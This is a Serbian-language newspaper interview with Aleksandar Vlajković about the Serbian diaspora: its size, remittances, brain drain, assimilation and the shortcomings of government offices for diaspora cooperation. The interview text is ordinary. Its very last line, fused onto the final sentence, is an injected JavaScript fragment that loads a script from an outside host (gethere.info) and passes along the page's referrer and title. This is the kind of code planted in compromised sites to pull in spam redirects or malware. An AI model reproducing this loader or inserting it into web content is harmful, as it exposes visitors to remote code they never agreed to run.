INTERVJU, VLAJKOVIĆ:Dijaspora otadžbinu čini bogatijom

Aleksandar Vlajković, odličan poznavaoc naše dijaspore iznosi svoja razmišljanja o značaju našeg rasejanja i kako ga pokrenuti. Ključni problem u saradnji je nepostojanje elementarnih informacija o istaknutim predstavnicima našeg naroda u svetu i nepostojanje prave komunikacije - ukazuje naš sagovornik

EKSPRES:Mnogo se govori o značaju dijaspore za maticu. Koliko smo taj potencijal iskoristili?

-Mnogo se govori, a malo čini. Kada su u pitanju naši ljudi u svetu, političari i manje upućeni najčešće govore o potencijalnim mogućnostima i podsećaju na ono što se odavno zna ili ponavljaju ono što je netačno, a neistina kada se ponavlja kod mnogih stvara uverenje da je drugačija. Tačno je da su naši ljudi u rasejanju neslućeni potencijal za oživljavanje i uključivanje Srbije u svetske tokove i ako to brzo ne shvatimo nastavićemo da kaskamo za svetom. Ovih minulih decenija desetine hiljada mladih ljudi i to onih najškolovanijih i najboljih otišlo je u svet. Rekao bih na sreću, jer da su ostali kod kuće imali bismo mnogo više nezaposlenih i nesrećnih. Ovako tu veliku tragediju našeg naroda treba da pretvorimo u prednost. Mi armiju naših najškolovanijih ljudi imamo u najmoćnijim kompanijama sveta, u privatnom biznisu, na univerzitetima, naučnim institucijama... nažalost nemamo dovoljno razvijenu komunikaciju sa njima. Mi ne znamo o njima ni gde su, ni šta rade, oni ne znaju šta mi kao država hoćemo i šta možemo da im ponudimo. Informacije o našim ljudima u svetu, o tom najvrednijem resursu zemlje gotovo da ne postoje.

EKSPRES:U javnosti se često iznose različite cifre o broju naših ljudi u svetu i broju srpskih organizacija. Šta je najpribližnije istini?

-Koliko nas ima u svetu to niko ne zna. Najpribližnije istini je da nas ima oko 4 miliona. Polovina je u državama bivših jugoslovenskih republika, a druga polovina je rasuta širom planete u oko 160 država. Popis je nemoguće organizovati, a i nema većeg značaja to pokušati organizovati. Evidentno je da su se naši selili i iseljavalai vekovima i da se migracije nastavljaju i danas. Poseban je problem što iz zemlje u potrazi za poslom odlaze visoko obrazovani. Neki ozbiljni analitičari tvrde da se iz Srbije od 1990.-te iselilo oko 40 hiljada stručnjaka sa fakultetskom diplomom, a među njima je više od sedam hiljada imalo zvanje doktora nauka. Po nekim računicama time je nastala šteta od oko 12 milijardi dolara. Prema Izveštaju Svetskog ekonomskog foruma Srbija se nalazi na 141. mestu po odlivu mozgova na rang listi od 144 zemlje. U svakom slučaju naših ljudi u svetu ima više nego dovoljno da bismo morali da se njima bavimo. Tim pre jer među njima ima natprosečnih i veoma uspešnih. Oni to zaslužuju, a i mi se zbog nas samih moramo baviti time, jer saradnja svima može doneti koristi. I nama i njima i državama u kojima danas žive. Na osnovama te koristi za sve, treba razvijati saradnju.

EKSPRES:Iako nema pravu saradnju Srbija od dijaspore itekako ima koristi?

-Iako naša dijaspora u proseku ne pripada bogatima, naši ljudi koji su otišli u svet ne zaboravljaju na svoje bližnje koji su ostali kod kuće. Istraživanja su pokazala da oko 800 hiljada naših ljudi dobija pomoć od svojih iz sveta. Devizne doznake dijaspore od 1999.godine premašuju ukupno 50 milijardi dolara i to je najvažnija stavka u platnom bilansu zemlje. Doznake su veće i od direktnih stranih investicija. Da nije tog priliva država bi već decenijama unazad bankrotirala. Iako tu pomoć naša dijaspora šalje isključivo zbog svojih bližnjih, država bi iz moralnih razloga morala da ima mnogo bolji odnos prema rasejanju.

EKSPRES:Srbi u svetu verujemo da bi nam mogli pomoći posebno u povezivanju s svetom?

-U svakom smislu, a ono što je posebno značajno jeste poslovno povezivanje. U prošlosti smo imali ekonomske savetnike u ambasadama, Privredna komora je imala ozbiljna predstavništva, privreda je imala svoje kancelarije u svetu. Nažalost, malo od toga je ostalo danas. Na sreću imamo armiju naših biznismena u svetu koji rade ili na značajnim pozicijama u stranim kompanijama ili u sopstvenim firmama. Oni odlično poznaju prilike na tim tržištima. Mi jednostavno treba da ih umrežimo sa našom privredom, uz uslov da saradnja bude uzajamno korisna i rezultati će doći. Ali na tome treba raditi. Zadatak države je da podstiče takvu saradnju i mi to možemo i moramo činiti. Pretpostavka za to je naravno da kontaktiramo sve te potencijalne saradnike za šta su nam potrebne informacije o njima. To je jedan mukotrpan posao stvaranja baze podataka o našim poslovnim ljudima, koju niko minulih godina nije razvijao.
Naši ljudi u dijaspori koji finansijski pomažu svoje bližnje u Srbiji mogli bi čak deo te pomoći da preusmere i na otvaranje novih radnih mesta za one koje pomažu, a koji su radno sposobni. Podsećamo, godišnje dijaspora pomaže svoje bližnje sa oko 4-5 milijardi dolara. Ako je već tako zar ne bismo mogli deo te pomoći preusmeriti u investicije, u projekte male vrednosti za otvaranje produktivnih radnih mesta onima koji dobijaju pomoć da prežive. Ali za to su potrebni projekti, koje nemamo. Time bismo pomogli i onima koji pomažu, a još više onima koji se neradeći osećaju beskorisnim.

EKSPRES: Šta inače smatrate najvećim problemima srpske dijaspore?

Sve više naših ljudi odlazi u svet, a sve nas je manje. U Srbiji je najveći problem nizak natalitet, a u dijaspori asimilacija. Zato je Srba danas manje nego juče, a sutra će ih biti još manje ako nešto hitno ne učinimo da očuvamo nacionalni identitet novih generacija u svetu.
Taj problem se mora rešavati i moguće ga je rešiti. Postoji koncept kako se to može rešiti! Projekat kojim bismo zamenili nekadašnje dopunske škole u kojima bi se učio srpski jezik i sve ono što je bitno da se ne zaboravi poreklo zemlje iz koje neko potiče je spreman i moguće ga je lako realizovati posredstvom Interneta. U vremenu u kome već živimo, a koje tek dolazi, Internet i društvene mreže već imaju dominantan značaj. Međutim, ono što se ne razume, za to nije dovoljno samo imati veb-sajt i elektornsku adresu. To su sredstva za ličnu komunikaciju i manje društvene grupe. Mi se sada zadovoljavamo tom lažom i posetama zanemarljivog broja ljudi. Za ozbiljan rad iza koga stoji država potrebno je stvoriti tehničke uslove za to.
I zamislite to smo mogli da imamo pre više godina i koliko smo zbog inertnosti i neznanja onih koji su bili plaćeni za to, izgubili kao narod, pa i država, a to je nemerljivo.
Inače, postoje i drugi problemi koji se daju lako rešiti, kao naprimer pitanje državljanstva, glasanja, učešća u radu Parlamenta ... Te probleme je evidentirao predstavnik srpske dijaspore u Evropskom parlamentu i pouzdano znam da postoji spremnost da se svi ti problemi brzo reše.

EKSPRES:Proteklih godina saradnju sa dijasporom institucionalno je vodila država, najpre posredstvom Ministarstva za dijasporu, potom je nova Vlada uvela instituciju Kancelarije za saradnju s dijasporom, a zatim je nju zamenila Uprava za saradnju s dijasporom, koja nije konstituisana ni posle godinu i po dana. Kako to komentarišete?

-To samo potvrđuje da nije važno kako se nešto zove, već da li nešto radi ili ne radi. Ministarstvo za saradnju s dijasporom ranijih mandatara Vlade, je evidentno samo pričalo prazne priče i stvaralo iluziju da nešto rade, a od toga niko nije imao koristi, osim onih koji su primali velike plate za posao kojim se nisu ni bavili i za svoja česta puutovanja po svetu. Kancelarija takođe nije ispunila očekivanja i takve institucije bolje da nisu ni postojale, jer i sadašnja Uprava koja postoji samo na papiru, apsolutno ništa ne znači. Premijer Aleksandar Vučić je to uočio i predložio osnivanje nove Uprave koja je bila pod okriljem Ministarstva spoljnih poslova. Nažalost, Ministarstvo i Ministar nisu shvatili šta se time želelo i nisu apsolutno ništa učinili da Upravu postave na noge. Svakako da za to nije bio odgovoran Premijer, jer on nikada nije iz Ministarstva dobio bilo kakav originalan predlog za aktivnosti Uprave. Istina napravili su jednu besmislenu sistematizaciju čiji je smisao bio da se opravdaju plate onih koji tamo rade. Lično sam o problemima upoznao Premijera i napustio te poslove, razočaran što nisam imao bilo kakva ovlašćenja da nešto promenim. Pouzdano znam da je Premijer Vučić želeo da se pozabavi i tim problemom, ali da od trenutno mnogo aktuelnijih problema to još nije stiglo na red. Siguran sam da će u novoj rekonstrisanoj Vladi resor za saradnju s dijasporom imati značajno mesto, jer je Premijer Vučić to već najavio.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';